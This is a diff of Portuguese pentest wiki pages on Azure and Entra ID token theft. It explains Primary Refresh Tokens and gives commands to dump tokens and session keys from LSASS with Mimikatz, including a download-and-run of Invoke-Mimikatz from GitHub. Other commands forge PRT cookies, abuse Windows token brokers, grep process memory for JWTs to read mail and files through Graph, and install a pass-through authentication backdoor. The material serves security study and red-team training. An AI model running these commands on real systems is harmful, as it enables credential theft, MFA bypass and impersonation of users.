|
||||
Para o Azure, nos importamos com os cookies de autenticação, incluindo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Eles estão lá porque o usuário tem estado ativo no Azure recentemente.
|
||||
|
||||
Basta navegar até login.microsoftonline.com e adicionar o cookie **`ESTSAUTHPERSISTENT`** (gerado pela opção “Permanecer Conectado”) ou **`ESTSAUTH`**. E você estará autenticado.
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## O que é um Primary Refresh Token (PRT)?
|
||||
|
||||
Um **Primary Refresh Token (PRT)** é um token de atualização de longa duração usado na autenticação do Azure AD (Entra ID), análogo a um TGT do Kerberos. Ele é emitido quando o usuário faz login em um dispositivo associado ao Azure AD e pode ser usado para solicitar tokens de acesso para vários aplicativos sem solicitar novamente as credenciais. Cada PRT é acompanhado por uma **chave de sessão** (também chamada de chave de Prova de Posse) -- uma chave simétrica usada para assinar solicitações e provar que o cliente possui o PRT. O PRT em si é um blob opaco e criptografado (não legível pelo cliente), enquanto a chave de sessão é usada para **assinar** um JWT contendo o PRT ao solicitar tokens. Em outras palavras, a posse do PRT sozinho é insuficiente; um atacante precisa da chave de sessão para provar legitimidade, semelhante à necessidade de ter tanto um TGT do Kerberos quanto sua chave de sessão para autenticação.
|
||||
Um **Primary Refresh Token (PRT)** é um token de atualização de longa duração usado na autenticação do Azure AD (Entra ID), análogo a um Kerberos TGT. Ele é emitido quando o usuário faz login em um dispositivo associado ao Azure AD e pode ser usado para solicitar tokens de acesso para vários aplicativos sem solicitar novamente as credenciais. Cada PRT é acompanhado por uma **chave de sessão** (também chamada de chave de Prova de Posse) -- uma chave simétrica usada para assinar solicitações e provar que o cliente possui o PRT. O PRT em si é um blob opaco e criptografado (não legível pelo cliente), enquanto a chave de sessão é usada para **assinar** um JWT contendo o PRT ao solicitar tokens. Em outras palavras, a posse do PRT sozinho é insuficiente; um atacante precisa da chave de sessão para provar legitimidade, semelhante à necessidade de ter tanto um Kerberos TGT quanto sua chave de sessão para autenticação.
|
||||
|
||||
No Windows, o PRT e a chave de sessão são armazenados em cache no processo LSASS via o plugin CloudAP. Se um dispositivo possui um **TPM** (Trusted Platform Module), o Azure AD vincula chaves ao TPM para segurança extra. Isso significa que em dispositivos equipados com TPM, a chave de sessão é armazenada ou usada dentro do TPM de forma que não pode ser lida diretamente da memória em circunstâncias normais. Se nenhum TPM estiver disponível (por exemplo, muitas VMs ou sistemas mais antigos), as chaves são mantidas em software e protegidas com criptografia DPAPI. Em ambos os casos, um atacante com privilégios administrativos ou execução de código na máquina pode tentar **extrair o PRT e a chave de sessão da memória** como parte da pós-exploração, e então usá-los para se passar pelo usuário na nuvem. Ao contrário dos tokens de atualização típicos (que geralmente são específicos de aplicativos), um PRT é mais amplo, permitindo que seu dispositivo solicite tokens para quase qualquer recurso ou serviço integrado ao Entra ID.
|
||||
|
||||
@@ -18,7 +18,7 @@ Aqui está uma explicação simplificada de como um PRT opera:
|
||||
|
||||
- Após a autenticação bem-sucedida, o Entra ID emite um PRT vinculado especificamente ao seu dispositivo.
|
||||
|
||||
2. **Armazenamento do Token:**
|
||||
2. **Armazenamento de Token:**
|
||||
|
||||
- O PRT é armazenado com segurança em seu dispositivo, frequentemente protegido por recursos de hardware como o Trusted Platform Module (TPM), garantindo que seja difícil para partes não autorizadas extraí-lo ou abusá-lo.
|
||||
|
||||
@@ -61,14 +61,22 @@ dsregcmd /status
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump e usuário PRTs desprotegidos
|
||||
## Passar o PRT
|
||||
|
||||
De acordo com [este post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) em dispositivos Windows **sem vinculação TPM**, o PRT e sua chave de sessão residem no LSASS (plug-in CloudAP). Com admin local/SYSTEM nesse dispositivo, o blob do PRT e a chave de sessão criptografada pelo DPAPI podem ser **lidos do LSASS, a chave de sessão descriptografada via DPAPI, e a chave de assinatura derivada** para criar um cookie PRT válido (`x‑ms‑RefreshTokenCredential`). Você precisa tanto do PRT quanto de sua chave de sessão—apenas a string do PRT não é suficiente.
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. O **PRT (Primary Refresh Token) é extraído do LSASS** (Serviço de Subsistema de Autoridade de Segurança Local) e armazenado para uso subsequente.
|
||||
2. A **Chave de Sessão é extraída em seguida**. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra do DPAPI. Informações detalhadas sobre o DPAPI (Data Protection API) podem ser encontradas nesses recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e para entender sua aplicação, consulte [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é empregada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
O **campo PRT** contém o token de atualização criptografado (tipicamente uma string base64), e o KeyValue no ProofOfPossessionKey é a chave de sessão criptografada com DPAPI (também base64).
|
||||
|
||||
@@ -78,14 +86,17 @@ Como a criptografia DPAPI para segredos do sistema requer o contexto do sistema
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
O `token::elevate` irá impersonar o SYSTEM e o comando `dpapi::cloudapkd` com `/unprotect` usará a chave mestra do DPAPI para descriptografar o blob KeyValue fornecido. Isso resulta na chave de sessão em texto claro e também na Chave Derivada e Contexto associados usados para assinatura:
|
||||
O `token::elevate` irá se passar por SYSTEM e o comando `dpapi::cloudapkd` com `/unprotect` usará a chave mestra do DPAPI para descriptografar o blob KeyValue fornecido. Isso resulta na chave de sessão em texto claro e também na Chave Derivada e Contexto associados usados para assinatura:
|
||||
- **Chave clara** – a chave de sessão de 32 bytes em texto simples (representada como uma string hexadecimal).
|
||||
- **Chave Derivada** – uma chave de 32 bytes derivada da chave de sessão e um valor de contexto (mais sobre isso abaixo).
|
||||
- **Contexto** – um contexto aleatório de 24 bytes que foi usado ao derivar a chave de assinatura para o cookie PRT.
|
||||
|
||||
> [!NOTE]
|
||||
> Se isso não funcionar para você para impersonar o usuário, verifique a seção seguinte usando **`AADInternals`**.
|
||||
> Se isso não funcionar para você se passar pelo usuário, verifique a seção a seguir usando **`AADInternals`**.
|
||||
|
||||
Então, você também pode usar o mimikatz para gerar um cookie PRT válido:
|
||||
```bash
|
||||
@@ -98,10 +109,9 @@ Mimikatz irá gerar um JWT assinado (o `PRT cookie`) após a linha “Signature
|
||||
|
||||
Você também poderia usar **`roadtx`** e **`roadrecon`** com o PRT do PRT cookie para se passar pelo usuário *(TODO: Encontrar as linhas de comando exatas para usar roadtx/roadrecon para obter credenciais de um PRT)*.
|
||||
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
### AADInternals
|
||||
|
||||
O módulo PowerShell **`AADInternals`** também pode ser usado com o PRT e a chave de sessão obtidos anteriormente para gerar um token PRT válido. Isso é útil para automatizar o processo de obtenção de um novo token PRT com nonce, que pode ser usado para buscar tokens de acesso para a Azure AD Graph API ou outros recursos:
|
||||
O módulo PowerShell **`AADInternals`** também pode ser usado com o PRT e a chave de sessão obtidos anteriormente para gerar um token PRT válido. Isso é útil para automatizar o processo de obtenção de um novo token PRT com nonce, que pode ser usado para buscar tokens de acesso para a API do Azure AD Graph ou outros recursos:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
@@ -125,27 +135,46 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
Este obtém um cookie PRT fresco (com um nonce) e, em seguida, o utiliza para buscar um token de acesso para a Azure AD Graph API (demonstrando acesso à nuvem em nome do usuário). AADInternals abstrai grande parte da criptografia e utiliza componentes do Windows ou sua própria lógica nos bastidores.
|
||||
Isso obtém um cookie PRT fresco (com um nonce) e, em seguida, o utiliza para buscar um token de acesso para a Azure AD Graph API (demonstrando acesso à nuvem em nome do usuário). AADInternals abstrai grande parte da criptografia e usa componentes do Windows ou sua própria lógica nos bastidores.
|
||||
|
||||
### Mimikatz + roadtx
|
||||
|
||||
- Renove o PRT primeiro, que será salvo em `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Agora podemos **solicitar tokens** usando o navegador interativo com `roadtx browserprtauth`. Se usarmos o comando `roadtx describe`, veremos que o token de acesso inclui uma reivindicação de MFA porque o PRT que usei neste caso também tinha uma reivindicação de MFA.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Mimikatz + roadrecon
|
||||
|
||||
Tendo o contexto e a chave derivada despejada pelo mimikatz, é possível usar o roadrecon para gerar um novo cookie assinado com:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## Abusando PRTs protegidos
|
||||
|
||||
Apesar das proteções mencionadas, um atacante que já comprometeu um dispositivo (como um usuário local ou até mesmo SYSTEM) ainda pode **abusar do PRT para obter tokens de acesso frescos** aproveitando as próprias APIs de broker de token e componentes de segurança do Windows. Em vez de **extrair** o PRT ou a chave bruta, o atacante essencialmente **"pede" ao Windows para usar o PRT em seu nome**. Nas seções abaixo, descrevemos técnicas atualmente válidas para abusar de PRTs e suas chaves de sessão em dispositivos Windows atualizados onde as proteções TPM estão em vigor. Todas essas técnicas assumem acesso pós-exploração na máquina alvo e **focam em abusar dos fluxos de autenticação integrados** (sem vulnerabilidades não corrigidas necessárias).
|
||||
Apesar das proteções mencionadas, um atacante que já comprometeu um dispositivo (como um usuário local ou até mesmo SYSTEM) ainda pode **abusar do PRT para obter novos tokens de acesso** aproveitando as próprias APIs e componentes de segurança do broker de tokens do Windows. Em vez de **extrair** o PRT ou a chave bruta, o atacante essencialmente **"pede" ao Windows para usar o PRT em seu nome**. Nas seções abaixo, descrevemos técnicas atualmente válidas para abusar de PRTs e suas chaves de sessão em dispositivos Windows atualizados onde as proteções TPM estão em vigor. Todas essas técnicas assumem acesso pós-exploração na máquina alvo e **focam em abusar dos fluxos de autenticação integrados** (sem vulnerabilidades não corrigidas necessárias).
|
||||
|
||||
### Arquitetura do Broker de Token do Windows e Fluxo SSO
|
||||
### Arquitetura do Broker de Tokens do Windows e Fluxo SSO
|
||||
|
||||
O Windows moderno lida com autenticação em nuvem por meio de uma pilha de **broker de token** integrada, que inclui componentes tanto em modo de usuário quanto no LSASS (Local Security Authority). As principais partes dessa arquitetura incluem:
|
||||
O Windows moderno lida com a autenticação em nuvem por meio de uma pilha de **broker de tokens** integrada, que inclui componentes tanto em modo de usuário quanto no LSASS (Local Security Authority). As principais partes dessa arquitetura incluem:
|
||||
|
||||
- **Plugin CloudAP do LSASS:** Quando um dispositivo está associado ao Azure AD, o LSASS carrega pacotes de autenticação em nuvem (por exemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gerenciam PRTs e solicitações de token. O LSASS (executando como SYSTEM) orquestra o armazenamento, renovação e uso do PRT, e se comunica com o TPM para realizar operações criptográficas (como assinar um desafio PRT com a chave de sessão).
|
||||
- **Plugin CloudAP do LSASS:** Quando um dispositivo está associado ao Azure AD, o LSASS carrega pacotes de autenticação em nuvem (por exemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gerenciam PRTs e solicitações de tokens. O LSASS (executando como SYSTEM) orquestra o armazenamento, renovação e uso do PRT, e se comunica com o TPM para realizar operações criptográficas (como assinar um desafio de PRT com a chave de sessão).
|
||||
|
||||
- **Gerenciador de Conta da Web (WAM):** O Gerenciador de Conta da Web do Windows é uma estrutura em modo de usuário (acessível via APIs COM/WinRT) que permite que aplicativos ou navegadores solicitem tokens para contas em nuvem sem solicitar credenciais. O WAM atua como um intermediário entre aplicativos de usuário e o PRT protegido por LSASS/TPM. Por exemplo, a biblioteca MSAL da Microsoft e certos componentes do sistema operacional usam o WAM para adquirir tokens silenciosamente usando o PRT do usuário logado.
|
||||
- **Gerenciador de Contas da Web (WAM):** O Gerenciador de Contas da Web do Windows é uma estrutura em modo de usuário (acessível via APIs COM/WinRT) que permite que aplicativos ou navegadores solicitem tokens para contas em nuvem sem solicitar credenciais. O WAM atua como um intermediário entre aplicativos de usuário e o PRT protegido por LSASS/TPM. Por exemplo, a biblioteca MSAL da Microsoft e certos componentes do sistema operacional usam o WAM para adquirir tokens silenciosamente usando o PRT do usuário logado.
|
||||
|
||||
- **BrowserCore.exe e interfaces COM do Broker de Token:** Para SSO em navegadores, o Windows inclui um componente chamado **BrowserCore.exe** (localizado em *Windows Security\BrowserCore*). Este é um host de mensagens nativo usado por navegadores (Edge, Chrome via uma extensão, etc.) para obter um token SSO derivado do PRT para login no Azure AD. Nos bastidores, o BrowserCore aproveita um objeto COM fornecido por `MicrosoftAccountTokenProvider.dll` para recuperar um cookie/token baseado em PRT. Em essência, essa interface COM é uma API de "broker de token" de primeira parte que qualquer processo executando como o usuário pode chamar para obter um token SSO (desde que o usuário tenha um PRT válido no LSASS).
|
||||
- **BrowserCore.exe e interfaces COM do Broker de Tokens:** Para SSO em navegadores, o Windows inclui um componente chamado **BrowserCore.exe** (localizado em *Windows Security\BrowserCore*). Este é um host de mensagens nativo usado por navegadores (Edge, Chrome via uma extensão, etc.) para obter um token SSO derivado do PRT para login no Azure AD. Nos bastidores, o BrowserCore aproveita um objeto COM fornecido por `MicrosoftAccountTokenProvider.dll` para recuperar um cookie/token baseado em PRT. Em essência, essa interface COM é uma API de "broker de tokens" de primeira parte que qualquer processo executando como o usuário pode chamar para obter um token SSO (desde que o usuário tenha um PRT válido no LSASS).
|
||||
|
||||
Quando um usuário associado ao Azure AD tenta acessar um recurso (digamos, o Portal do Azure), o fluxo é tipicamente: um aplicativo chama a interface COM do WAM ou do BrowserCore, que por sua vez se comunica com o LSASS. O LSASS usa o PRT e a chave de sessão (protegida pelo TPM) para produzir um **token SSO** -- frequentemente chamado de **cookie PRT** -- que é então devolvido ao aplicativo ou navegador. O cookie PRT é um JWT especial contendo o PRT criptografado e um nonce, assinado com uma chave derivada da chave de sessão do PRT. Este cookie é enviado ao Azure AD (em um cabeçalho `x-ms-RefreshTokenCredential`) para provar que o dispositivo e o usuário possuem um PRT válido, permitindo que o Azure AD emita tokens de acesso e refresh padrão do OAuth para vários aplicativos. Notavelmente, qualquer reivindicação de Autenticação Multifator (MFA) presente no PRT será transportada para tokens obtidos por meio desse processo SSO, significando que tokens derivados de PRT podem satisfazer recursos protegidos por MFA.
|
||||
Quando um usuário associado ao Azure AD tenta acessar um recurso (digamos, o Portal do Azure), o fluxo é tipicamente: um aplicativo chama a interface COM do WAM ou do BrowserCore, que por sua vez se comunica com o LSASS. O LSASS usa o PRT e a chave de sessão (protegida pelo TPM) para produzir um **token SSO** -- frequentemente chamado de **cookie PRT** -- que é então devolvido ao aplicativo ou navegador. O cookie PRT é um JWT especial contendo o PRT criptografado e um nonce, assinado com uma chave derivada da chave de sessão do PRT. Este cookie é enviado ao Azure AD (em um cabeçalho `x-ms-RefreshTokenCredential`) para provar que o dispositivo e o usuário possuem um PRT válido, permitindo que o Azure AD emita tokens de acesso e refresh padrão do OAuth para vários aplicativos. Notavelmente, qualquer reivindicação de Autenticação Multifator (MFA) presente no PRT será transportada para os tokens obtidos por meio desse processo SSO, significando que tokens derivados do PRT podem satisfazer recursos protegidos por MFA.
|
||||
|
||||
### Roubo de Token em Nível de Usuário (Não-Admin)
|
||||
|
||||
Quando um atacante tem **execução de código em nível de usuário**, a proteção TPM do PRT não impede o atacante de obter tokens. O atacante **aproveita as APIs de Broker de Token integradas do Windows**:
|
||||
Quando um atacante tem **execução de código em nível de usuário**, a proteção TPM do PRT não impede o atacante de obter tokens. O atacante **aproveita as APIs integradas do Broker de Tokens do Windows**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
@@ -158,17 +187,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
*(Retorna um token de atualização do Azure AD ou cookie PRT)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
|
||||
ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**.
|
||||
|
||||
Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.\
|
||||
Você pode obter isso com:
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
*(Gera nonce, invoca o BrowserCore para obter o cookie PRT, e então o resgata via ROADtools)*
|
||||
Ou usando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Então você pode usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obter um novo PRT (execute a ferramenta a partir de um processo do usuário para atacar):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Como uma linha:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Então você pode usar o **cookie gerado** para **gerar tokens** para **fazer login** usando Azure AD **Graph** ou Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
### **APIs do Gerenciador de Conta da Web (WAM)**
|
||||
|
||||
Os atacantes usam bibliotecas de autenticação legítimas da Microsoft (**MSAL**, **APIs WAM**, **WebAuthenticationCoreManager**) de processos em nível de usuário para recuperar silenciosamente tokens aproveitando o PRT protegido por TPM.
|
||||
|
||||
Os atacantes usam bibliotecas de autenticação legítimas da Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) de processos em nível de usuário para recuperar silenciosamente tokens aproveitando o PRT protegido por TPM.
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
@@ -180,7 +241,7 @@ execute-assembly aadprt.exe
|
||||
```bash
|
||||
execute-assembly listwamaccounts.exe
|
||||
```
|
||||
*(Lista contas do Azure AD conectadas via WAM; identifica alvos de token)*
|
||||
*(Lista contas do Azure AD logadas via WAM; identifica alvos de token)*
|
||||
|
||||
- **Exemplo Genérico (PowerShell com MSAL)**:
|
||||
```powershell
|
||||
@@ -192,7 +253,7 @@ $result.AccessToken
|
||||
|
||||
#### Abuso de Token em Nível de Administrador / SYSTEM
|
||||
|
||||
Se o atacante escalar para **Administrador ou SYSTEM**, ele pode diretamente se passar por qualquer usuário logado no Azure AD e usar as mesmas **APIs do broker de token COM/WAM**. PRTs protegidos por TPM não impedem essa emissão legítima de token.
|
||||
Se o atacante escalar para **Administrador ou SYSTEM**, ele pode diretamente se passar por qualquer usuário logado no Azure AD e usar as mesmas **APIs de broker de token COM/WAM**. PRTs protegidos por TPM não impedem essa emissão legítima de token.
|
||||
|
||||
### **Imitação de Usuário e Recuperação de Token**
|
||||
|
||||
@@ -202,7 +263,7 @@ Para isso, basta imitar o processo do usuário (por exemplo, `explorer.exe`) e i
|
||||
|
||||
### **Interação Direta com LSASS & Broker de Token (Avançado)**
|
||||
|
||||
Um administrador ainda pode trabalhar com LSASS para abusar do PRT: por exemplo, um admin poderia injetar código no LSASS ou chamar funções internas do CloudAP para solicitar que o LSASS produza um token. A pesquisa de Dirk-jan observou que um admin pode “interagir com chaves PRT no LSASS usando APIs criptográficas”. Na prática, isso poderia significar usar as próprias funções do LSASS (via uma técnica como API hooking ou RPC, se disponível) para gerar um cookie PRT. Outra abordagem é explorar qualquer janela onde a chave de sessão possa aparecer na memória – por exemplo, no momento da renovação do PRT ou registro do dispositivo, quando está descriptografado para uso. Esses ataques são consideravelmente mais complexos e situacionais. Uma tática mais direta de admin é abusar de handles de token ou caches existentes: o LSASS armazena em cache tokens de atualização recentemente emitidos para aplicativos na memória (criptografados com DPAPI). Um atacante SYSTEM determinado poderia tentar extrair esses tokens protegidos por DPAPI (usando a chave mestra do usuário, que um admin pode obter) para roubar diretamente tokens de atualização para aplicativos específicos. No entanto, o método mais fácil e genérico continua sendo a imitação e o uso das interfaces de broker de token documentadas, uma vez que essas garantem que o Azure AD emitirá tokens novos (com todas as reivindicações apropriadas) em vez de tentar quebrar a criptografia.
|
||||
Um administrador ainda pode trabalhar com LSASS para abusar do PRT: por exemplo, um admin poderia injetar código no LSASS ou chamar funções internas do CloudAP para solicitar que o LSASS produza um token. A pesquisa de Dirk-jan observou que um admin pode “interagir com chaves PRT no LSASS usando APIs criptográficas”. Na prática, isso poderia significar usar as próprias funções do LSASS (via uma técnica como API hooking ou RPC, se disponível) para gerar um cookie PRT. Outra abordagem é explorar qualquer janela onde a chave de sessão possa aparecer na memória – por exemplo, no momento da renovação do PRT ou registro do dispositivo, quando está descriptografada para uso. Esses ataques são consideravelmente mais complexos e situacionais. Uma tática mais direta de admin é abusar de handles de token ou caches existentes: o LSASS armazena em cache tokens de atualização recentemente emitidos para aplicativos na memória (criptografados com DPAPI). Um atacante SYSTEM determinado poderia tentar extrair esses tokens protegidos por DPAPI (usando a chave mestra do usuário, que um admin pode obter) para roubar diretamente tokens de atualização para aplicativos específicos. No entanto, o método mais fácil e genérico continua sendo a imitação e o uso das interfaces de broker de token documentadas, uma vez que essas garantem que o Azure AD emitirá tokens novos (com todas as reivindicações apropriadas) em vez de tentar quebrar a criptografia.
|
||||
|
||||
## Phishing de PRTs
|
||||
|
||||
@@ -218,7 +279,7 @@ Abuse o fluxo de **Código de Dispositivo OAuth** usando o **ID do cliente do Mi
|
||||
|
||||
- **Autenticação do usuário via Código de Dispositivo** usando o **ID do cliente do Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) e **escopos/recurso do DRS** (por exemplo, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** ou **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Usuário pode registrar dispositivos** no Entra ID (**padrão: permitido**, mas pode ser restrito ou limitado por cota).
|
||||
- **Sem políticas CA bloqueadoras** que **desativem o Código de Dispositivo** ou **exijam dispositivos compatíveis/híbridos** para aplicativos-alvo (esses não impedirão a emissão de PRT, mas **irão** bloquear **o uso** para acessar aplicativos protegidos).
|
||||
- **Sem políticas CA bloqueadoras** que **desabilitem o Código de Dispositivo** ou **exijam dispositivos compatíveis/híbridos** para aplicativos-alvo (esses não impedirão a emissão de PRT, mas **irão** bloquear **o uso** para acessar aplicativos protegidos).
|
||||
- **Host controlado pelo atacante** para executar o fluxo e manter os tokens/chaves do dispositivo.
|
||||
|
||||
**Fluxo de Ataque**:
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
# Az - Processes Memory Access Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
Como explicado em [**este vídeo**](https://www.youtube.com/watch?v=OHKZkXC4Duw), alguns softwares da Microsoft sincronizados com a nuvem (Excel, Teams...) podem **armazenar tokens de acesso em texto claro na memória**. Portanto, apenas **dumper** a **memória** do processo e **grepando por tokens JWT** pode te conceder acesso a vários recursos da vítima na nuvem, contornando o MFA.
|
||||
|
||||
Passos:
|
||||
|
||||
1. Dumpe os processos do excel sincronizados com o usuário EntraID com sua ferramenta favorita.
|
||||
2. Execute: `string excel.dmp | grep 'eyJ0'` e encontre vários tokens na saída.
|
||||
3. Encontre os tokens que mais lhe interessam e execute ferramentas sobre eles:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Observe que esses tipos de tokens de acesso também podem ser encontrados dentro de outros processos.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,4 +1,4 @@
|
||||
# Az - PTA - Autenticação Pass-through
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,8 +14,8 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha**
|
||||
2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD
|
||||
1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha**.
|
||||
2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD.
|
||||
3. O **agente de autenticação local** coleta as **credenciais** da fila e as **descriptografa**. Este agente é chamado de **"agente de autenticação pass-through"** ou **agente PTA.**
|
||||
4. O **agente** **valida** as credenciais contra o **AD local** e envia a **resposta** **de volta** para o Azure AD que, se a resposta for positiva, **completa o login** do usuário.
|
||||
|
||||
@@ -68,7 +68,7 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas
|
||||
Remove-AADIntPTASpy # Remove the backdoor
|
||||
```
|
||||
> [!NOTE]
|
||||
> Se a **instalação falhar**, isso provavelmente se deve à falta do [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
> Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Este backdoor irá:
|
||||
|
||||
@@ -1,58 +0,0 @@
|
||||
# Az AD Connect - Identidade Híbrida
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
A integração entre **Active Directory (AD) local** e **Azure AD** é facilitada pelo **Azure AD Connect**, oferecendo vários métodos que suportam **Single Sign-on (SSO)**. Cada método, embora útil, apresenta potenciais vulnerabilidades de segurança que podem ser exploradas para comprometer ambientes em nuvem ou locais:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- Possível comprometimento do agente no AD local, permitindo a validação de senhas de usuários para conexões Azure (local para Nuvem).
|
||||
- Viabilidade de registrar um novo agente para validar autenticações em um novo local (Nuvem para local).
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
